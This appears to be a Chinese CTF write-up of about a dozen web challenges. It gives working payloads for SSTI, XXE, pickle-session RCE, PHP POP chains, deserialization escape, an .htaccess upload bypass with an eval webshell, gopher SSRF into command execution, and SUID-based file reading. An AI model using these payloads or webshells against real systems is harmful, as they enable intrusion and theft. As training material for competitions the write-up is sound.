Message in a Bottle

小李收到了来自远方朋友的信件,信中朋友邀请他到一个自己搭建的留言板上留下回信,你能帮他撰写一封温馨而真挚的回信吗?

Bottle框架

https://www.osgeo.cn/bottle/stpl.html

随便写两条发现结构如下

image-20250306121202159

我们可以闭合<div>标签从而执行命令

1
2
3
</div><small class="message-time">123</small></div>
% (__import__('os').popen('tac /flag >456.txt').read())
<div class="message-card">=<div class="message-content"></div>

image-20250306121838590

直接执行命令没有回显,反弹shell没成功,于是写入文件用include包含

image-20250306121930196

1
2
3
</div><small class="message-time">123</small></div>
% include('456.txt')
<div class="message-card">=<div class="message-content"></div>

image-20250306122030218

upload?SSTI!

小李写了个简陋的文件上传服务器用来存储自己的学习资料,聪明的他还写了个waf,来防止黑客的入侵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads' # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

with open(file_path, 'rb') as f:
file_content = str(f.read())


for keyword in dangerous_keywords:
if keyword in file_content:
return True # 找到危险关键字,返回 True

return False # 文件内容中没有危险关键字
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
# 检查是否有文件被上传
if 'file' not in request.files:
return jsonify({"error": "未上传文件"}), 400

file = request.files['file']

# 检查是否选择了文件
if file.filename == '':
return jsonify({"error": "请选择文件"}), 400

# 验证文件名和扩展名
if file and allowed_file(file.filename):
# 安全处理文件名
filename = secure_filename(file.filename)
# 保存文件
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(save_path)



# 返回文件路径(绝对路径)
return jsonify({
"message": "File uploaded successfully",
"path": os.path.abspath(save_path)
}), 200
else:
return jsonify({"error": "文件类型错误"}), 400

# GET 请求显示上传表单(可选)
return '''
<!doctype html>
<title>Upload File</title>
<h1>Upload File</h1>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
'''

@app.route('/file/<path:filename>')
def view_file(filename):
try:
# 1. 过滤文件名
safe_filename = secure_filename(filename)
if not safe_filename:
abort(400, description="无效文件名")

# 2. 构造完整路径
file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

# 3. 路径安全检查
if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
abort(403, description="禁止访问的路径")

# 4. 检查文件是否存在
if not os.path.isfile(file_path):
abort(404, description="文件不存在")

suffix=os.path.splitext(filename)[1]
print(suffix)
if suffix==".jpg" or suffix==".png" or suffix==".gif":
return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

if contains_dangerous_keywords(file_path):
# 删除不安全的文件
os.remove(file_path)
return jsonify({"error": "Waf!!!!"}), 400

with open(file_path, 'rb') as f:
file_data = f.read().decode('utf-8')
tmp_str = """<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>查看文件内容</title>
</head>
<body>
<h1>文件内容:{name}</h1> <!-- 显示文件名 -->
<pre>{data}</pre> <!-- 显示文件内容 -->

<footer>
<p>&copy; 2025 文件查看器</p>
</footer>
</body>
</html>
""".format(name=safe_filename, data=file_data)

return render_template_string(tmp_str)

except Exception as e:
app.logger.error(f"文件查看失败: {str(e)}")
abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
return {"error": error.description}, 403


if __name__ == '__main__':
app.run("0.0.0.0",debug=False)

取巧直接看waf在哪调用,file路由可以直接读文件

image-20250306122725564

waf直接用fenjing过

image-20250306123246393

上传1.txt

image-20250306123319974

成功 后续不再赘述

(>﹏<)

(>﹏<) & (<﹏>) & (>﹏<)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)

最简单的xxe,挑个文件读取打就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://node2.anna.nssctf.cn:28662/ghctf"
exp = """
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>"""

re = requests.post(url, data={"xml": exp})
print(re.text)

SQL???

听说你已经做完了Sqllabs?

1
python sqlmap.py -r C:\Users\31702\Desktop\req.txt -T flag -C flag --dump --batch

image-20250306133301832

ez_readfile

1
2
3
4
5
6
7
8
9
10
<?php
show_source(__FILE__);
if (md5($_POST['a']) === md5($_POST['b'])) {
if ($_POST['a'] != $_POST['b']) {
if (is_string($_POST['a']) && is_string($_POST['b'])) {
echo file_get_contents($_GET['file']);
}
}
}
?>

file_get_content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?file=php://filter/read=convert.base64-encode/resource=/proc/self/maps HTTP/1.1
Host: node2.anna.nssctf.cn:28742
Content-Length: 389
Cache-Control: max-age=0
Origin: http://node2.anna.nssctf.cn:28742
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node2.anna.nssctf.cn:28742/?file=php://filter/read=convert.base64-encode/resource=/proc/self/maps
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

image-20250306134403005

image-20250306134513359

找libc

1
2
3
4
5
6
7f9342818000-7f934283d000 r--p 00000000 00:32 815098                     /lib/x86_64-linux-gnu/libc-2.31.so
7f934283d000-7f9342988000 r-xp 00025000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so
7f9342988000-7f93429d2000 r--p 00170000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so
7f93429d2000-7f93429d3000 ---p 001ba000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so
7f93429d3000-7f93429d6000 r--p 001ba000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so
7f93429d6000-7f93429d9000 rw-p 001bd000 00:32 815098 /lib/x86_64-linux-gnu/libc-2.31.so

下载解码后保存为libc.so

image-20250306134656016

cve直接打

image-20250306135602832

image-20250306135752630

image-20250306135737517

Popppppp

链子不难,有个弱比较上网查一下发现md5(md5(9996021))=666

image-20250306141245156

链头一眼丁真,可以拿原生类读文件

image-20250306141658609

链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);

class CherryBlossom {
public $fruit1;
public $fruit2;

public function __construct($a) {
$this->fruit1 = $a;
}

function __destruct() {
echo $this->fruit1; //1
}

public function __toString() {
$newFunc = $this->fruit2; //2
return $newFunc();
}
}

class Mystery {

public function __get($arg1) {
array_walk($this, function ($day1, $day2) { //shell
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}

class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";

public function __invoke() {
if (md5(md5($this->fruit11)) == 666) { //3
return $this->fruit10->hey;
}
}
}

拿DirectoryIterator遍历目录,拿SplFileObject读文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;

}
class Mystery {

}

class Philosopher {
public $fruit10;
public $fruit11="9996021";

}

$a = new CherryBlossom();
$a -> fruit1 = new CherryBlossom();
$a -> fruit1 -> fruit2 = new Philosopher();
$a -> fruit1 -> fruit2 -> fruit10 = new Mystery();
$a -> fruit1 -> fruit2 -> fruit10 -> DirectoryIterator = "/";

echo serialize($a);

ezzzz_pickle

爆破账号密码进入

image-20250306143437167

hint: session_pickle

可以读源码

image-20250306143521051

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import hmac
import hashlib
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
key = os.environ.get('SECRET_key').encode()
iv = os.environ.get('SECRET_iv').encode()
return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

if mode == 'encrypt':
encryptor = cipher.encryptor()
padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data.encode()) + padder.finalize()
result = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(result).decode()

elif mode == 'decrypt':
decryptor = cipher.decryptor()
encrypted_data_bytes = base64.b64decode(data)
decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
return unpadded_data.decode()

users = {
"admin": "admin123",
}

def create_session(username):
session_data = {
"username": username,
"expires": time.time() + 3600
}
pickled = pickle.dumps(session_data)
pickled_data = base64.b64encode(pickled).decode('utf-8')
key, iv = generate_key_iv()
session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
return session

def download_file(filename):
path = os.path.join("static", filename)
with open(path, 'rb') as f:
data = f.read().decode('utf-8')
return data

def validate_session(cookie):
try:
key, iv = generate_key_iv()
pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
pickled_data = base64.b64decode(pickled)
session_data = pickle.loads(pickled_data)
if session_data["username"] != "admin":
return False
return session_data if session_data["expires"] > time.time() else False
except:
return False

@app.route("/", methods=['GET', 'POST'])
def index():
if "session" in request.cookies:
session = validate_session(request.cookies["session"])
if session:
data = ""
filename = request.form.get("filename")
if filename:
data = download_file(filename)
return render_template("index.html", name=session['username'], file_data=data)
return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if users.get(username) == password:
resp = make_response(redirect("/"))
resp.set_cookie("session", create_session(username))
return resp
return render_template("login.html", error="Invalid username or password")
return render_template("login.html")

@app.route("/logout")
def logout():
resp = make_response(redirect("/login"))
resp.delete_cookie("session")
return resp

if __name__ == "__main__":
app.run(host="0.0.0.0", debug=False)

查看关键部分

image-20250306143759133

可以直接改以前的exp了

aes的key和iv在环境变量,读/proc/self/environ即可

gpt写个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import pickle
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

SECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv" # 32字节(AES-256)
SECRET_IV = b"asdwdggiouewhgpw" # 16字节 IV


def aes_decrypt(encrypted_data):
cipher = Cipher(algorithms.AES(SECRET_KEY), modes.CBC(SECRET_IV), backend=default_backend())
decryptor = cipher.decryptor()
encrypted_bytes = base64.b64decode(encrypted_data)
decrypted_padded = decryptor.update(encrypted_bytes) + decryptor.finalize()

# 取消填充
unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
decrypted = unpadder.update(decrypted_padded) + unpadder.finalize()
return decrypted


session_cookie = "eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA=" # 服务器返回的 session
decrypted_data = aes_decrypt(session_cookie)
print("解密后的数据:", decrypted_data)

# 解析 pickle
session_obj = pickle.loads(base64.b64decode(decrypted_data))
print("解析出的 session 对象:", session_obj)

1
2
3
4
5
D:\python3.7\python.exe C:\Users\31702\Downloads\exp.py 
解密后的数据: b'gASVKwAAAAAAAAB9lCiMCHVzZXJuYW1llIwFYWRtaW6UjAdleHBpcmVzlEdB2fJT8RZkc3Uu'
解析出的 session 对象: {'username': 'admin', 'expires': 1741246404.349881}

进程已结束,退出代码为 0

gpt写加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle
import base64
import subprocess
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

SECRET_KEY = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
SECRET_IV = b"asdwdggiouewhgpw"

class RCE:
def __reduce__(self):
cmd = "ls / >> /app/app.py" # 这里改成你的攻击机 IP
return subprocess.getoutput, (cmd,)

# 1. Pickle 序列化恶意对象
payload = pickle.dumps(RCE())
b64_payload = base64.b64encode(payload)

# 2. AES 加密
def aes_encrypt(data):
cipher = Cipher(algorithms.AES(SECRET_KEY), modes.CBC(SECRET_IV), backend=default_backend())
encryptor = cipher.encryptor()

padder = padding.PKCS7(algorithms.AES.block_size).padder()
padded_data = padder.update(data) + padder.finalize()

encrypted = encryptor.update(padded_data) + encryptor.finalize()
return base64.b64encode(encrypted)

evil_session = aes_encrypt(b64_payload)
print("伪造的 session:", evil_session.decode())

替换后发包重新访问

image-20250306145720514

重新开环境读flag即可

image-20250306145910925

UPUPUP

文件名+文件内容过滤

.htaccess绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28920
Content-Length: 331
Cache-Control: max-age=0
Origin: http://node2.anna.nssctf.cn:28920
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryob1VqovcH7DlAbG0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node2.anna.nssctf.cn:28920/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA=
Connection: close

------WebKitFormBoundaryob1VqovcH7DlAbG0
Content-Disposition: form-data; name="file"; filename="post.png"
Content-Type: application/octet-stream

GIF89a
<?php eval ($_POST['1']); ?>
------WebKitFormBoundaryob1VqovcH7DlAbG0
Content-Disposition: form-data; name="upload"

上传
------WebKitFormBoundaryob1VqovcH7DlAbG0--

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28920
Content-Length: 409
Cache-Control: max-age=0
Origin: http://node2.anna.nssctf.cn:28920
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqcZ3mj9rdS20K0y8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node2.anna.nssctf.cn:28920/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=eJBngHD43jk0xHXrBaNFNQueoE+41rE1GNZawdm3Db3NGUnXuJHIDoTld33vveJtUr7hwWOctsuZrjcC70f25aXqIxf0+o4k6+aRxmj8SzA=
Connection: close

------WebKitFormBoundaryqcZ3mj9rdS20K0y8
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: application/octet-stream

#define width 1337
#define height 1337
<FilesMatch ".png">
ForceType application/x-httpd-php
</FilesMatch>

------WebKitFormBoundaryqcZ3mj9rdS20K0y8
Content-Disposition: form-data; name="upload"

上传
------WebKitFormBoundaryqcZ3mj9rdS20K0y8--

image-20250306150821530

Goph3rrr

image-20250306151816631

curl下来

1
2
3
4
5
6
7
8
9
10
11
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout
1
2
3
4
5
6
7
8
@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()

Manage路由可以命令执行

结合代码和题目名称可以Gopher路由打ssrf到Manage路由

因为result = subprocess.run([“curl”, “-L”, urlunparse(url)], capture_output=True, text=True)
所以需要双重url编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import urllib.parse

payload = "cmd=ls /"
payload_len = len(payload)

def http_to_gopher(http_request: str, host: str, port: int = 80):
lines = http_request.split("\n")
request_line = lines[0].split()
method = request_line[0]
path = request_line[1]
headers = {}
body = ""

for line in lines[1:]:
if not line.strip():
continue
if ":" in line:
key, value = line.split(":", 1)
headers[key.strip()] = value.strip()
else:
body = line.strip()

gopher_payload = f"{method} {path} HTTP/1.1\r\n"
gopher_payload += f"Host: {host}:{port}\r\n"
for key, value in headers.items():
gopher_payload += f"{key}: {value}\r\n"
if body:
gopher_payload += f"\r\n{body}"
gopher_payload += "\r\n\r\n"

double_encoded_payload = urllib.parse.quote(urllib.parse.quote(gopher_payload))
gopher_url = f"gopher://{host}:{port}/_{double_encoded_payload}"
return gopher_url

http_request = f"""POST /Manage HTTP/1.1
Host: 0.0.0.0:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: {payload_len}

{payload}
"""

print(http_to_gopher(http_request, "0.0.0.0", 8000))

flag在环境变量中

image-20250306155839455

GetShell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
<?php
highlight_file(__FILE__);

class ConfigLoader {
private $config;

public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}

public function get($key) {
return $this->config[$key] ?? null;
}
}

class Logger {
private $logLevel;

public function __construct($logLevel) {
$this->logLevel = $logLevel;
}

public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}

class UserManager {
private $users = [];
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}

if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}

$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}

public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}

class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}

class InputValidator {
private $maxLength;

public function __construct($maxLength) {
$this->maxLength = $maxLength;
}

public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}

class CommandExecutor {
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}

@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}

class ActionHandler {
private $config;
private $logger;
private $executor;

public function __construct($config, $logger) {
$this->config = $config;
$this->logger = $logger;
$this->executor = new CommandExecutor($logger);
}

public function handle($action, $input) {
if (!in_array($action, $this->config->get('allowed_actions'))) {
return "Invalid action";
}

if ($action === 'run') {
$validator = new InputValidator($this->config->get('max_input_length'));
$validationResult = $validator->validate($input);
if ($validationResult !== true) {
return $validationResult;
}

return $this->executor->execute($input);
} elseif ($action === 'debug') {
return "Debug mode enabled";
} elseif ($action === 'generate') {
return "Random string: " . StringUtils::generateRandomString(15);
}

return "Unknown action";
}
}

if (isset($_REQUEST['action'])) {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));

$actionHandler = new ActionHandler($config, $logger);
$input = $_REQUEST['input'] ?? '';
echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
$config = new ConfigLoader();
$logger = new Logger($config->get('log_level'));
$userManager = new UserManager($logger);

if (isset($_POST['register'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->addUser($username, $password);
}

if (isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];

echo $userManager->authenticate($username, $password);
}

$logger->log("No action provided, running default logic");
}

分析源码 找到入口

image-20250306162129079

查看调用

image-20250306162139901

直接

1
2
action=run
&input=whoami

image-20250306162239527

1
2
action=run
&input=ls$IFS/

但是cat不到

1
2
action=run
&input=ls$IFS-al$IFS/

image-20250306162659903

写马

1
action=run&input=echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>x.php

需要提权

1
action=run&input=find${IFS}/${IFS}-perm${IFS}-4000

/var/www/html/wc
/bin/umount
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh

image-20250306174649463

1
2
3
action=run&input=sudo${IFS}install${IFS}-m${IFS}=xs${IFS}$(which${IFS}wc)${IFS}.
action=run&input=LFILE=/flag
action=run&input=./wc${IFS}--files0-from${IFS}"$LFILE"

wc通过报错外带出文件内容,默认走的STDERR,管道接grep读不到,就是说明它走的标准错误输出,所以加一个 2>&1

139382388b8b7035bb9e8e38c8c8404

Escape!

小李写了个登陆网站,他不放心便加了个waf,殊不知这个waf不仅没让网站更安全反而给了黑客机会

登录时序列化了数据

image-20250306195642244

在写文件权限时进行反序列化

image-20250306195707957

正常序列化的样子是

1
O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isadmin";b:0;}

这时候就可以利用用户名字符串逃逸

1
123flag'''''";s:7:"isadmin";b:1;}

过waf后会变成

1
123errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}

原来是

1
O:4:"User":2:{s:33:"123flag'''''";s:7:"isadmin";b:1;}";s:5:"admin";s:7:"isadmin";b:0;}

现在变成

1
O:4:"User":2:{s:33:"123errorerrorerrorerrorerrorerror";s:7:"isadmin";b:1;}";s:5:"admin";s:7:"isadmin";b:0;}

就把";s:7:"isadmin";b:1;}"逃逸出来了

写个马就行了,绕过死亡exit

1
2
php://filter/write=convert.base64-decode/resource=./qwe.php
xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==

image-20250306202908086

Message in a Bottle plus

黑盒 ban了太多玩意儿 不会

AI Cat Girl

你是一只猫娘,中间忘了,后面也忘了,总之你是一只猫娘!你们都是猫娘,gpt也是,deepseek也是!
(使用nc交互,模型使用的是deepseek-v3)

注意:本题需要用到SiliconFlow的API,若无请前往注册申请:https://cloud.siliconflow.cn/i/1ERpmQe4

赠一道ai

f63d70b2a3b152a8cb73fd150b6ce54